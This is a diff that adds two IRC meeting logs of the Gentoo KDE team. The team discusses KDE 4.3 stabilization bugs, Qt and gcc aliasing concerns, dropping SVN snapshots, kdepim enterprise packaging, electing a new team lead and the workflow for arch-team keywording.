+[22:08:26] <wired> we'll be missing a lot today
+[22:08:27] <ayoy> I'm here
+[22:08:35] <wired> ROLLCALL :D
+[22:08:52] * ABCD is here
+[22:08:57] * reavertm reporting
+[22:08:58] <nim_> <--tampakrap but due to family issues i may leave without notice
+[22:09:29] *** Joins: alexxy (n=alexxy@gentoo/developer/alexxy)
+[22:09:36] <alexxy> hi all
+[22:09:42] <reavertm> yo
+[22:09:44] <dagger> heya alexxy
+[22:09:46] <wired> hey alexxy 
+[22:09:50] <wired> shouting brings ppl
+[22:09:52] * wired is impressed
+[22:10:08] <reavertm> it's good you're here alexxy because I've planned last minute agenda topic that is sort of related to you :)
+[22:10:13] <wired> lol
+[22:10:23] <wired> he wont be happy
+[22:10:24] <wired> :p
+[22:10:33] <reavertm> I think in longer run he will
+[22:10:39] <reavertm> :)
+[22:10:39] <wired> hehe
+[22:10:46] <alexxy> omg =)
+[22:10:49] <wired> so lets wait 5 more minutes
+[22:11:09] <wired> maybe jmbsvicetto and bonsaikitten will show up
+[22:11:41] <wired> we're also missing spatz
+[22:12:53] * wired orders some food
+[22:13:38] <Pesa> btw i have a rather unstable internet connection these days, so i may disappear in the middle of the meeting :(
+[22:14:40] <bonsaikitten> jmbsvicetto mentioned to me he might not make it
+[22:14:59] <bonsaikitten> and I'm present, but not conscious
+[22:15:10] * reavertm slaps bonsaikitten
+[22:19:25] <wired> alright
+[22:19:30] <wired> lets begin
+[22:19:35] <jmbsvicetto> Hi
+[22:19:38] <wired> w00t
+[22:19:42] <wired> that's timing
+[22:19:42] <wired> :p
+[22:19:48] <Pesa> yeah
+[22:20:02] <wired> hey boss
+[22:20:14] <nim_> but i'll leave sorry
+[22:20:34] <wired> cya
+[22:20:59] <jmbsvicetto> Hi everyone
+[22:21:04] <wired> jmbsvicetto: :)
+[22:21:04] <dagger> hi :)
+[22:21:10] <jmbsvicetto> I'm also present, but not very "conscious"
+[22:21:33] <wired> maybe we should look into that, it seems to be spreading
+[22:21:33] <wired> :p
+[22:21:43] <reavertm> ok..
+[22:21:54] <wired> lets start with kde stabilization
+[22:22:07] <wired> can someone please outline the current bugs state?
+[22:22:26] <reavertm> there are a few left
+[22:22:57] <reavertm> two java (some hotspot issue with non-sun jvms) related, two grub issues (patch is attached to one of them)
+[22:23:14] <dagger> some deps are also pending stabilisation
+[22:23:42] <reavertm> I've eliminated two more today (one as test-request and second marked as not blocking stabilization)
+[22:24:15] <wired> anything we can't solve in the following days, or something we should focus on?
+[22:24:21] *** Parts: nim_ (n=nim@adsl14-107.lsf.forthnet.gr)
+[22:24:32] <reavertm> Pesa: one is probably yours? (consolekit and dbus related)
+[22:24:58] <Pesa> yep, it shouldn't block stabilization imho
+[22:25:07] <Pesa> it's not a regression afaik
+[22:25:11] <reavertm> one could try to applyt hat grub patch from bug 242736 and see whether it works
+[22:25:21] <wired> i'll try that
+[22:25:36] <jmbsvicetto> We need to apply all the patches sent to the packagers ml
+[22:25:44] <reavertm> jmbsvicetto: in overlay
+[22:25:44] <dagger> it's nice to see policykit went stable on x86/amd64
+[22:25:55] <jmbsvicetto> In particular the ones that prevent some kdepim packages from crashing and kmail from eating imap mails
+[22:26:04] <jmbsvicetto> reavertm: Great! Thanks
+[22:26:06] <reavertm> https://bugs.gentoo.org/show_bug.cgi?id=241638 - also sci team would need to add some pkg_postinst
+[22:26:13] <wired> nice
+[22:26:20] <reavertm> jmbsvicetto: only ldap. I yet to see imap crash patch posted
+[22:26:40] <jmbsvicetto> reavertm: hmm, I could swear I noticed an email about that
+[22:27:04] <reavertm> well, my 4.3.9999 branch is still crashing occasionally so it's not fixed
+[22:27:37] <jmbsvicetto> reavertm: <200909131956.22847.mcguire@kde.org> <- mailid
+[22:28:01] <reavertm> please someone slap sci team to add that pkg_postinst message about the possible need to reemerge cln and/or libqualculate in case some linking problems  appear
+[22:28:49] <jmbsvicetto> reavertm: I've forward the mail to you
+[22:28:56] <reavertm> jmbsvicetto: ah, that one, yeah
+[22:29:43] <alexxy> jmbsvicetto: i dont see any problems with kmail related to imap
+[22:29:55] * alexxy uses it on dayly basis
+[22:30:05] <wired> alexxy: its something about moving folders
+[22:30:07] <dagger> neither do I (use it all the time on 2 PCs)
+[22:30:08] <wired> and its ugly
+[22:30:09] <reavertm> it sometimes crashes kmail on exit
+[22:30:22] <wired> iirc you can lose a folder full of emails :P
+[22:30:26] <jmbsvicetto> alexxy: It's an upstream commit
+[22:30:39] <jmbsvicetto> (the patch)
+[22:30:39] <alexxy> hmm
+[22:30:56] <alexxy> my kmail can handle imaps folders with 100k+ mails
+[22:30:59] <dagger> the only problem I can see with kmail/kontact is that it sometimes lunches two instances on startup and when you close any of them it crashes
+[22:31:09] <reavertm> someone needs to bump doxygen 1.6.1 to fix bug https://bugs.gentoo.org/show_bug.cgi?id=282598
+[22:32:06] <reavertm> https://bugs.gentoo.org/show_bug.cgi?id=275326 can be probably maked as non-blocker since java is now enabled by default (and there's postinst message warning that redland is known to not work)
+[22:32:19] <reavertm> (btw it seems to be fixed in trunk soprano)
+[22:32:45] <wired> sounds good
+[22:33:05] <jmbsvicetto> reavertm: mind adding all the bugs you know about as blockers to the stabilization bug?
+[22:33:29] <reavertm> jmbsvicetto: I'm just reading this list
+[22:33:38] <wired> about doxygen - if nerdboy doesnt bump it in the next few days we can do it i guess
+[22:33:48] <reavertm> if there are some new 4.3.1 issues that should be maked as blockers, then wel...
+[22:33:53] <jmbsvicetto> Also, can anyone please open bugs for the KDE deps (automoc, strigi, soprano, phonon, etc), assign it to us and cc amd64 / x86?
+[22:34:34] <reavertm> I'll create stabilization list for 4.3.1
+[22:35:33] <wired> ok
+[22:35:35] <reavertm> separate bug for each dep?
+[22:35:49] <wired> jmbsvicetto?
+[22:35:53] <jmbsvicetto> In this case, we can have a single bug for all deps
+[22:36:54] <reavertm> I'd like someone (or more of you) to take a look at recent 4.3.1 bugs that may be considered blockers
+[22:36:55] <wired> alright
+[22:37:29] <reavertm> if you're bored that is :)
+[22:37:31] <wired> i'll have a look this weekend
+[22:37:47] <jmbsvicetto> reavertm: I want to start looking at some, but work is leaving me dead tired when I finally get home :\
+[22:38:03] <wired> jmbsvicetto++ i have the same issue and this weekend im working...
+[22:38:06] <wired> stupid deadlines
+[22:38:23] <reavertm> ok, I think that's it when it comes to kde stabilization, anything else here?
+[22:38:29] <wired> alright, anything else pending for stabilization?
+[22:38:43] <wired> lets move on to Qt
+[22:38:47] <wired> before we talk about gcc
+[22:38:53] <wired> quick update on stabilization
+[22:39:07] <wired> after talking with yngwin i pushed news item in -dev
+[22:39:13] <wired> about the use flag changes
+[22:39:26] <wired> i'll request stabilization after I've added the news item
+[22:39:38] <wired> probably on saturday
+[22:39:46] <wired> since i need to wait 72 hours
+[22:39:53] <Pesa> nice :)
+[22:39:55] <ayoy> cool
+[22:40:05] <wired> sooooo
+[22:40:21] <wired> did anyone get any info, crashes or anything else on qt 4.5 w/ gcc 4.4 combo?
+[22:40:26] <reavertm> gcc and qt4..
+[22:40:32] <ayoy> no!
+[22:40:39] <wired> ftr no crashes for me
+[22:40:47] <Pesa> nope
+[22:41:00] <dagger> nope. I'm using 4.4.1 and 4.5.2 and all is fine
+[22:41:02] <reavertm> it may not be that severe considering no other distros I looked into made any patches for aliasing
+[22:41:14] <wired> reavertm: did you talk with upstream?
+[22:41:16] <jmbsvicetto> wired: still no noticeable crashes here
+[22:41:35] <reavertm> anyway - it affects all template classes like QHash, QList, QMap, QVector and maybe some other
+[22:41:40] <alexxy> also no crasghes here with qt-4.5.x
+[22:41:46] <wired> well
+[22:41:51] <wired> if no one can replicate crashes
+[22:41:57] <wired> worksforme
+[22:42:02] <ayoy> :)
+[22:42:06] <reavertm> it may be enough to add -fno-strict-aliasing somewhere to make it even less severe
+[22:42:28] <wired> we could
+[22:42:31] <reavertm> other way (thiago asuggested) is to simply (providing it's simple) - backport those classes from 4.6
+[22:42:44] <wired> but why bother touching something
+[22:42:45] <wired> that works
+[22:42:48] <wired> keep in mind
+[22:42:52] <wired> that users are best testers
+[22:42:56] <wired> and we don't have bug reports :)
+[22:42:59] <wired> thats a good sign :P
+[22:43:05] * alexxy has several crashes with qt-4.6 and kde4 and amarok
+[22:43:21] <reavertm> well, yes, we may need to wait for some fireworks because maybe it's not really needed
+[22:43:41] <Pesa> where would you add -fno-strict-aliasing? remeber those classes are templates...
+[22:43:44] <jmbsvicetto> Oh, let me thank whoever has been doing the latest taglib{-extras} and amarok bumps
+[22:44:09] <wired> if we wake one morning and bugzilla is full of Qt4 crash duplicates we'll worry about it, but seriously this is fud, there's no way they wont fix it if it ever breaks
+[22:44:31] <Pesa> wired: fine with me
+[22:44:47] <reavertm> well, this may not be a fud, but we've seen several aliasing-related warnings on gentoo for multiple packages
+[22:44:59] <reavertm> so it's not a reason for panic
+[22:45:19] <wired> alright
+[22:45:28] <reavertm> so, let's wait for user/testers feedback, hmm?
+[22:45:31] <wired> thats settled until a storm comes then
+[22:45:39] <wired> :)
+[22:45:39] <reavertm> ok
+[22:45:44] <wired> reavertm: your floor :)
+[22:45:50] <reavertm> last (hidden) agenda item :)
+[22:46:00] <ABCD> I've had a couple of crashes that might be related, but I can't be sure
+[22:46:25] <reavertm> ABCD: gather coredumps and/or just backtraces then
+[22:47:06] <reavertm> last agenda item - stop shipping unstable svn snapshots - several reasons:
+[22:47:26] <reavertm> - they need to be repacked (not really an issue)
+[22:47:38] <reavertm> - they are known to be broken
+[22:48:10] <reavertm> - they somewhat distract users from using tagged packages in portage (4.3.1) and such
+[22:48:47] <wired> i dont really mind, but yeah, especially the early ones could be avoided
+[22:48:51] <wired> for users' sake
+[22:48:55] <reavertm> (of course we're not talking about dropping beta1, beta2, rc1, rc2 .. releases as those have some tagging involved, not just auto-tagging)
+[22:48:57] <dagger> what about providing only beta/rc version?
+[22:49:06] <dagger> lol nvm
+[22:50:07] <reavertm> alexxy: you used to bump them, what do you think about not doing it anymore? :)
+[22:51:37] <alexxy> well there some people who relay use them =)
+[22:52:03] <reavertm> alexxy: apart from yourself? :)
+[22:52:12] <alexxy> yep 
+[22:52:26] <jmbsvicetto> sorry, phone
+[22:52:33] <bonsaikitten> I say if someone wants to do them let's have snapshots
+[22:53:02] <wired> as long as we have alexxy to make em eh? :P
+[22:53:05] <reavertm> the point is, people come here and report that they are broken (like pykde4 + some temporary svn issues) and expect us to fix it
+[22:53:28] <reavertm> and I'd prefer kde devs were not bothered with this :P
+[22:53:57] <reavertm> oh, and they makes repoman full takes longer :)
+[22:54:18] <wired> we could add ewarn-that-no-one-reads to snapshot ebuilds *** NO SUPPORT ANYWHERE *** :P
+[22:54:21] <alexxy> reavertm: then simply add something like
+[22:54:22] <reavertm> (whatever this means in english :P)
+[22:54:35] <jmbsvicetto> reavertm: I agree with bonsaikitten, but we should add a note that may have been lost with time - let's add a pkg_postinst for those ebuilds telling users not to report bugs to Gentoo
+[22:54:42] <alexxy> snapshot is known to be broken so report all busg about them to bugs.kde.org
+[22:54:43] <alexxy> =)
+[22:54:46] <alexxy> to eclass
+[22:54:53] <reavertm> omg
+[22:55:03] <jmbsvicetto> something like that, yes
+[22:55:10] <wired> they'll come down to us with grenades man
+[22:55:11] <wired> lol
+[22:55:15] <reavertm> also - less versions - less synchronization work
+[22:55:17] <ABCD> okay with me, so long as it's conditional on [[ -z ${I_KNOW_WHAT_I_AM_DOING} ]] :)
+[22:55:28] <ABCD> (the message, that is :) )
+[22:55:31] <reavertm> I know not all of you do ebuild synchornization work but.... :)
+[22:55:58] <ABCD> and I don't mind dropping those versions, either :)
+[22:56:13] <reavertm> at least I'm not going to touch them anymore
+[22:56:59] <reavertm> and I don't want to see blocks involving 4.3.56 -> 4.3.57 changes in ebuilds :P
+[22:57:11] *** Parts: Pesa (n=Pesa@bluemchen.kde.org)
+[22:57:12] <wired> so lets leave it at "as long as someone is interested lets keep em and add a fat warning in eclass"
+[22:58:03] *** Joins: Pesa (n=Pesa@bluemchen.kde.org)
+[22:58:12] <wired> great
+[22:58:15] <reavertm> actually we should only provide blocks that involve versions that are going to be in tree
+[22:59:11] <reavertm> pesa [21:57:13] <wired> so lets leave it at "as long as someone is interested lets keep em and add a fat warning in eclass"
+[22:59:40] <Pesa> fine with me, thanks :)
+[22:59:57] <Pesa> i don't really use them
+[23:00:34] <ABCD> reavertm: why? if something has rdep "!<kde-base/kdelibs-4.3.65:4.4[...]", then you will *never* hit the blocker anyway, so long as you are only using in-tree ebuilds :)
+[23:01:14] <jmbsvicetto> so, anything else left for today?
+[23:01:18] <wired> i think we're good
+[23:01:22] <wired> assuming all goes well
+[23:01:35] <wired> next week we'll be ready
+[23:01:47] <reavertm> ABCD: it's about always increasing bloat and complexity of those blocks
+[23:01:48] <wired> whoever closes the last blocking bug should bug all the rest
+[23:02:06] <wired> and begin stab(ilization) procedures :)
+[23:02:29] <ABCD> reavertm: that's why I created a add_blocker function that takes care of all that stuff [except that I was told I shouldn't use it yet...]
+[23:02:39] *** Parts: Pesa (n=Pesa@bluemchen.kde.org)
+[23:02:52] <jmbsvicetto> ok, then I'm going to do something "stupid" like watching tv or playing a stupid psp game ;)
+[23:02:55] <reavertm> I know
+[23:03:23] <wired> jmbsvicetto: yay! heheh, i'll fire up my xbox :P
+[23:03:45] <jmbsvicetto> :)
+[23:03:48] <jmbsvicetto> later
+[23:03:53] <wired> meeting end!
+[23:04:00] <wired> jmbsvicetto: i'll add log same place :)
+[23:04:24] <jmbsvicetto> wired: thanks
diff --git a/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20100225.txt b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20100225.txt
new file mode 100644
index 00000000..04fa9ddf
--- /dev/null
+++ b/xml/htdocs/proj/en/desktop/kde/meeting-logs/kde-project-meeting-log-20100225.txt
@@ -0,0 +1,612 @@
+[21:27:14] <tampakrap> ok let's start
+[21:27:23] <tampakrap> roll call plz
+[21:27:26] <tampakrap> !herd kde
+[21:27:28] <willikins> (kde) abcd, alexxy, carlo, cryos, dagger, deathwing00, jmbsvicetto, keytoaster, lxnay, mrpouet, patrick, scarabeus, spatz, sping, ssuominen, tampakrap, tgurr, wired
+[21:27:48] <ABCD> here
+[21:28:17] <reavertm> .
+[21:28:43] <wired> here
+[21:28:56] * alexxy here or there 
+[21:29:00] <wired> alexxy: indeed :P
+[21:30:19] <scarabeus> .
+[21:30:25] <tampakrap> Sput:  we need you for this one, present?
+[21:31:03] <scarabeus> lets start with kdepim
+[21:31:14] <scarabeus> jorge is going to be around in ~10 minutes
+[21:31:22] <alexxy> hmm
+[21:31:26] <scarabeus> so the relevant tasks even for him should be that way preserved :]
+[21:31:31] <tampakrap> TOPICS: http://git.overlays.gentoo.org/gitweb/?p=proj/kde.git;a=blob;f=Documentation/meeting-2010-02-25;h=dafe5aa85c43ba9737c783576af83c972ea82afa;hb=594ec14216daa0f2f331295d4baff3e0f6d78a5c
+[21:32:14] <tampakrap> ok about kdepim and enterprise useflag
+[21:32:32] <alexxy> also can we discuss snapshots for 4.5 pre alphas?
+[21:32:33] <alexxy> =)
+[21:32:50] <reavertm> ohnoes
+[21:32:51] <tampakrap> sure, along with this
+[21:33:11] *** Quits: j0hu (~quassel@quassel/contributor/j0hu) (Read error: Connection reset by peer)
+[21:33:19] <alexxy> also using lxc as testbead for testing kde builds
+[21:33:25] <tampakrap> the kdepim issue is about the trunk kde i don't know if anyone of you is interested in it
+[21:33:30] * alexxy prepared some containers 
+[21:33:55] <alexxy> tampakrap: what issue?
+[21:34:01] <tampakrap> kmail is broken in current trunk, i tried to package the enterprise branch which is supposed to work
+[21:34:26] <reavertm> why we should care about trunk?
+[21:34:31] <wired> afaik the enterprise branch should be available for releases as well
+[21:34:39] <ABCD> reavertm: because that's what's going to be in 4.5
+[21:34:44] <scarabeus> enterprise branch should be availible for everything
+[21:35:01] <wired> scarabeus: jmbsvicetto and i talked with a kde dev [cant recall his name right now] who told us enterprise branch is what they really care about
+[21:35:24] <scarabeus> we should just monthly generate our own kdepim tarball from that branch
+[21:35:27] <scarabeus> and be done with it
+[21:35:34] <scarabeus> maybe even forgot about non-enterprise :]
+[21:35:36] <wired> considering the [crappy] state of kdepin right now, thats a good idea
+[21:35:39] <tampakrap> two packages failed to compile from enterprise stuff, plus a flag isn't possible for trunk as ebuilds are different
+[21:35:40] <wired> kdepim*
+[21:36:28] <reavertm> 1) there is enterprise related cmake switch in cmakelists.txt - maybe it should be used  when bulding enterprise branch
+[21:36:47] <alexxy> am i right that kmail is broken because of mail storage migrartion to akonadi?
+[21:36:49] <reavertm> 2) still don't see why we should care :P
+[21:37:02] <wired> reavertm: enterprise should actually work OK 
+[21:37:08] <wired> and kde devs care about it not breaking
+[21:37:17] <wired> at least thats what we've been told
+[21:37:18] <wired> :p
+[21:37:22] <tampakrap> i agree with reavertm, too much work, maybe we should just wait
+[21:37:28] <tampakrap> too much work for nothing
+[21:37:29] <reavertm> problem is it does not follow kde release schedule
+[21:37:44] <scarabeus> it is released with each even release
+[21:37:51] <reavertm> especially if apparently they're going to merge it eventually?
+[21:38:40] <wired> no its not going to be merged
+[21:38:49] <reavertm> now, I've not tried to build it yet - is it possible to use our ebuilds?
+[21:38:59] <reavertm> or it differs too much so that it's impossible?
+[21:39:04] <tampakrap> okay, i am having hardware issues with my trunk machine and don't know when it will be back, so i can't work on it any more
+[21:39:10] <tampakrap> it differs too much
+[21:39:21] <tampakrap> it's not impossible, it is way too much work
+[21:39:21] <jmbsvicetto> Hello
+[21:39:26] <wired> tampakrap: you are talking about trunk, we are talking about releases
+[21:39:28] <wired> hey jmbsvicetto 
+[21:39:34] <jmbsvicetto> sorry for being late
+[21:39:37] <tampakrap> i'm talking about enterprise itself
+[21:39:40] <jmbsvicetto> I confused the hour again :\
+[21:39:52] * spatz is back
+[21:40:16] <tampakrap> and my opinion is the same for the snapshots, way too broken to be provided to users
+[21:40:45] <tampakrap> i can announce it and blog it, whatever, that we can't provide them if you agree
+[21:40:49] <reavertm> other issue, how are we going to provide it? split like kdepim?
+[21:41:15] <tampakrap> yes, it needs different branch of ebuilds
+[21:41:44] <tampakrap> anyone willing to work on it?
+[21:41:54] <reavertm> and probably blocking kdepim...
+[21:42:01] <tampakrap> or just postpone it for next meeting?
+[21:42:03] <tampakrap> exactly
+[21:42:17] <scarabeus> ok i personaly cant promise i will devote time to it :/
+[21:42:30] <scarabeus> so it would need some maintainer, even non dev
+[21:42:39] <scarabeus> just in overlay so we see the potential
+[21:42:44] <scarabeus> and then we can put it into tree
+[21:42:48] <reavertm> agreed
+[21:42:50] <tampakrap> i could announce it
+[21:43:28] <scarabeus> ok we should anounce global call if we find someone interested, i think we can help with basics but are busy enough to do it ourselves
+[21:43:38] <scarabeus> tampakrap: so could you sent it to dev-anounce and desktop mls?
+[21:43:45] <tampakrap> although i doubt there will be someone willing to do so much work for nothing
+[21:43:47] <jmbsvicetto> I'm not interested in kdepim, so I won't be working on it
+[21:44:05] <tampakrap> yes, even blog the whole kdepim problem in trunk
+[21:44:34] <tampakrap> and thus i'm against providing the snapshots ( alexxy ) yet
+[21:45:02] <scarabeus> yeah no snapshot until .70 as with 4.4 should be done
+[21:45:16] *** Joins: Civil (~Civilian@95-27-138-158.broadband.corbina.ru)
+[21:45:16] <reavertm> .85 I would say even :P
+[21:45:21] <scarabeus> haha
+[21:45:25] <alexxy> no =)
+[21:45:27] <alexxy> .70
+[21:45:28] <scarabeus> .70 is enough for ricers :D
+[21:45:28] <reavertm> beta 1 :P
+[21:45:30] <wired> 4.5.1? :P
+[21:45:33] <alexxy> aka alpha0 
+[21:45:34] <alexxy> =)
+[21:45:36] <DrEeevil> btw, word of warning
+[21:45:45] <tampakrap> when kmail is ready i'd say
+[21:45:52] <DrEeevil> dev.ge.o will migrate to new hardware soon, so expect a day or two of confusion
+[21:46:02] <scarabeus> thats good to know :]
+[21:46:07] <tampakrap> thanks patrick
+[21:46:33] <scarabeus> ok i think we should get back on track with topic one :]
+[21:46:38] <tampakrap> i think we are ready on this (btw i'm writing summary as soon as we speak)
+[21:46:55] <scarabeus> so we dont jump over those carefully written numbered topics in chaotic order :]
+[21:47:08] <tampakrap> ok back to topic one: new leader elections
+[21:47:26] <tampakrap> candidates: jmbsvicetto, scarabeus, plz vote (devs only)
+[21:47:28] <reavertm> bring it on!
+[21:47:48] <DrEeevil> I vote yes ;)
+[21:47:52] <scarabeus> DrEeevil: you cant
+[21:47:53] <scarabeus> pick
+[21:47:55] <tampakrap> i vote scarabeus (sorry jorge :) )
+[21:48:11] <jmbsvicetto> DrEeevil: :P
+[21:48:12] <reavertm> I'd like to hear manifesto from both! ;)
+[21:48:17] * reavertm runs
+[21:48:22] <tampakrap> lol
+[21:48:23] <jmbsvicetto> tampakrap: no hurt feelings ;)
+[21:48:45] <scarabeus> not to break kde and keep it working for everyone of us :] and provide my qa tools for kde
+[21:48:49] <alexxy> i vote for scarabeus =)
+[21:48:53] <jmbsvicetto> scarabeus: nothing prevents us from having more than one lead, but let people choose
+[21:48:58] <scarabeus> note that this manifesto wont change for me if not voted for :]
+[21:49:03] <alexxy> hmm 
+[21:49:09] <reavertm> what qa tools?
+[21:49:11] <alexxy> or lets have two leads
+[21:49:12] <alexxy> =)
+[21:49:20] <alexxy> if its possible
+[21:49:22] <scarabeus> i have quite few scripts that checks x11 state
+[21:49:25] <wired> i like that idea too
+[21:49:26] <reavertm> no, just one to rule them all :)
+[21:49:32] <scarabeus> and i can adjust it for kde
+[21:49:38] <tampakrap> no, one leader is enough
+[21:49:39] <scarabeus> which i plan for month or so already :D
+[21:49:42] <wired> we are a large herd
+[21:50:00] <scarabeus> actualy multiple leads are weird, just pick guys
+[21:50:08] <scarabeus> it does not matter to jorge or me who wins :]
+[21:50:16] <scarabeus> we just comply to the 1 year election rule :]
+[21:50:21] <reavertm> how many members with voting power are here?
+[21:50:33] <wired> lets vote and find out
+[21:50:34] <wired> ;p
+[21:50:39] <tampakrap> 9
+[21:50:56] <tampakrap> sorry 10
+[21:51:12] <reavertm> what about 5:5 ?
+[21:51:22] <scarabeus> reavertm: that would not amuse me
+[21:51:36] <reavertm> ok, let's hear it
+[21:51:47] <tampakrap> in case 5:5 i'll change my vote :P
+[21:51:47] * ABCD votes scarabeus
+[21:51:55] * reavertm votes scarabeus
+[21:51:56] * alexxy votes scarabeus
+[21:52:03] <jmbsvicetto> scarabeus: I'll break the tie ;)
+[21:52:03] * tampakrap votes scarabeus
+[21:52:11] * wired votes scarabeus 
+[21:52:14] * spatz votes scarabeus
+[21:52:15] * jmbsvicetto votes in scarabeus 
+[21:52:20] <tampakrap> lol
+[21:52:23] <scarabeus> ok ok ok
+[21:52:23] <wired> nice
+[21:52:25] <scarabeus> i get it
+[21:52:38] <wired> like it or not you're lead
+[21:52:38] <wired> :p
+[21:52:39] * scarabeus votes for jmbsvicetto :]
+[21:52:39] <tampakrap> congrats now abuse your powah :P
+[21:52:40] <jmbsvicetto> I said before I would prefer to have someone else being lead ;)
+[21:52:47] <jmbsvicetto> scarabeus: No!!!! :P
+[21:52:48] * wired remembered
+[21:53:04] <jmbsvicetto> Congratulations Tomas
+[21:53:13] <wired> scarabeus: \o/ congrats :)
+[21:53:22] <scarabeus> Now everyone i guess we should drink something good in favor of our good benevolent now-ex lead. So on Jorge :]
+[21:53:38] <scarabeus> and thanks, lets i will try to not doom us all :]
+[21:53:59] * wired has a beer open =]
+[21:54:05] * scarabeus too
+[21:55:02] <tampakrap> ok little girls you played enough for today, now let's move on
+[21:55:15] <tampakrap> Review work flow for KDE minor bumps and improve collaboration with arch teams
+[21:55:48] <scarabeus> 1) BUG
+[21:55:48] <scarabeus> 2) keywordlist
+[21:55:48] <scarabeus> 3) portage addition
+[21:55:48] <scarabeus> 4) profiles touching
+[21:56:00] <scarabeus> this should be workflow from now-on so we dont touch anyones toes
+[21:56:13] <jmbsvicetto> scarabeus: The Founder Power has been bestowed on you for #gentoo-kde ;)
+[21:56:22] * ssuominen votes scarabeus 
+[21:56:28] <ABCD> <CIA-58> abcd * gentoo/xml/htdocs/proj/en/desktop/kde/index.xml: We have a new lead!
+[21:56:36] <ssuominen> :P
+[21:56:57] <scarabeus> ssuominen: ha ha ha :D
+[21:57:10] <reavertm> all cards have been played already ;)
+[21:57:15] <jmbsvicetto> scarabeus: I propose something different
+[21:57:31] <scarabeus> jmbsvicetto: i just wrote this one after start with jer, and then i got distracted
+[21:57:38] <scarabeus> jmbsvicetto: how does your approach look?
+[21:57:43] <scarabeus> if its better just make it policy
+[21:57:44] <scarabeus> :]
+[21:58:01] <scarabeus> its once per 6 months, and it wont hurt to have written down somewhere in Documentation/
+[21:58:14] <tampakrap> good idea, whatever we decide on this should be forwarded as a global policy
+[21:58:23] <jmbsvicetto> scarabeus: 1) Ask arch teams to test new deps in the overlay. 2) If they don't want to use the overlay, try to add a snapshot or a early release masked in the tree and ask them to keyword it
+[21:58:35] <jmbsvicetto> scarabeus: then your policy
+[21:59:06] <tampakrap> i don't like this approach
+[21:59:18] <jmbsvicetto> well, your 3) would be done before, so it could be 3) unmask in the tree
+[21:59:18] <tampakrap> what if they do something stupid while using the overlay?
+[21:59:56] <jmbsvicetto> tampakrap: I might not have been clear, I meant to let them try the ebuilds from there and for us to add their keyword
+[22:00:07] <jmbsvicetto> tampakrap: I'm not giving commit access
+[22:00:07] <scarabeus> jmbsvicetto: sounds sane
+[22:00:18] <scarabeus> altho i dont think about that snapshot into main tree
+[22:00:20] <tampakrap> i was not clear
+[22:00:26] <scarabeus> deps can go if released
+[22:00:28] <scarabeus> but not the kde
+[22:00:33] <reavertm> I don't like snapshots in tree either
+[22:00:33] <scarabeus> it is annoying 280 packages
+[22:00:38] <tampakrap> i meant what if they use other testing ebuilds while using the overlay?
+[22:00:42] <scarabeus> its 4 hours commit
+[22:00:47] <reavertm> (even if those are kde deps just)
+[22:00:58] <jmbsvicetto> scarabeus: The snapshot as a last resort if upstream doesn't have a release 2 weeks / 1 month before getting the new version in the tree
+[22:01:27] <scarabeus> but only for deps
+[22:01:32] <scarabeus> no touching of kde-base/ itself
+[22:01:35] <jmbsvicetto> I'm only talking about new deps
+[22:01:35] <reavertm> there is problem - we have no arch team members in kde team
+[22:01:40] <scarabeus> we have
+[22:01:42] <scarabeus> for amd
+[22:01:43] <scarabeus> :D
+[22:01:48] <reavertm> only ssuominen, but we would need some for other archs
+[22:01:58] <scarabeus> me stable for amd64 from time to time
+[22:02:00] <alexxy> i can keyword arm and mips
+[22:02:01] <alexxy> =)
+[22:02:09] <Philantrop> scarabeus: It's 30 minutes if you commit at category level.
+[22:02:38] <scarabeus> Philantrop: i know, but i managed to clash 3x already with someone else :]
+[22:02:42] <alexxy> if you commit in 10 threads then it takes about 5 minutes
+[22:02:45] <scarabeus> even when i announced it :D
+[22:02:46] <alexxy> to commit whole kde
+[22:02:54] <reavertm> and since keywording kde is quite a bottleneck .. kde dev (which clearly uses kde) could do it faster
+[22:02:56] <scarabeus> hmm i could thread bump tool indeed
+[22:03:13] <Philantrop> scarabeus: force commit and kick anyone interfering from the herd. That's what I did. :->
+[22:03:30] <alexxy> scarabeus: i added kde 4.4.0 in about 5-7 minutes to tree
+[22:03:35] * ABCD is x86-linux and amd64-linux
+[22:03:38] <alexxy> working with 10 threds
+[22:03:48] <alexxy> *threads
+[22:04:05] <scarabeus> ok lets write out the rules on the Documentation
+[22:04:09] <scarabeus> and i will thread the bumptool
+[22:04:11] <scarabeus> its quite simple
+[22:04:44] <ssuominen> <- not a part of amd64, just have stable chroot for xfce/kde/xorg/base-system/media
+[22:05:05] <scarabeus> i also stable only when i have long night :D
+[22:05:19] <scarabeus> but people mostly dont complain if qa guys stable on archs they can test :]
+[22:05:53] <scarabeus> i would say this topic should be reviewed on next meeting with respective prepared documentation for approach in the overlay, anyone some additions?
+[22:06:33] <tampakrap> no problem in this, i just hope there will be something prepared until next meeting
+[22:06:59] <scarabeus> ok kde-4.3.5 then :]
+[22:07:01] <alexxy> i think we can use lxc containers instead of chroots
+[22:08:03] <scarabeus> so we are waiting on archies only, are there any issues with it?
+[22:08:35] <reavertm> what's advantage of lxc over chroot?
+[22:08:49] <reavertm> (which I can boot to natively as well)
+[22:08:58] <alexxy> it run separate system in separate namespace
+[22:09:10] <alexxy> so its more closer to vms
+[22:10:28] <alexxy> VM's
+[22:10:29] <alexxy> =)
+[22:10:38] <tampakrap> ok back to topic
+[22:10:46] <tampakrap> <scarabeus> so we are waiting on archies only, are there any issues with it?
+[22:11:25] <tampakrap> anyone?
+[22:11:35] <ABCD> not that I've seen, as an archie :D
+[22:11:55] <tampakrap> ok next one
+[22:12:03] *** Joins: aboow (house5@gateway/shell/bshellz.net/x-vhnffmhwlxzbhinj)
+[22:12:05] <Sput> tampakrap: won't be really online until in about 1 hour
+[22:12:06] <Sput> sitting in the train currently with shaky net
+[22:12:24] <scarabeus> just one addition, dont remove 4.3.4, just wipe out 4.3.3 and 4.3.4 in one step when 4.3.5 is ready :]
+[22:12:34] <scarabeus> if anyone gets remove ideas :P
+[22:12:35] <tampakrap> Sput: ok we can talk then
+[22:12:51] <tampakrap> kde 4.4 status
+[22:12:51] <wired> s/anyone/alexxy/
+[22:12:59] * alexxy has remove idea of old kde's
+[22:13:00] <reavertm> :)
+[22:13:01] <wired> :D
+[22:13:15] <Sput> referring to kdepim: if we found a way to package the current 4.4 kdepim in a way that it works with -9999 (no idea, copying the ebuilds from 4.4 into some overlay and renaming them to -9999) that should be more or less easy
+[22:13:21] <Sput> as 4.4 kdepim is supposed to work with trunk kde
+[22:14:22] <tampakrap> Sput: we can talk about it later, the other members have already expressed their opinions and you are messing with the topics now :)
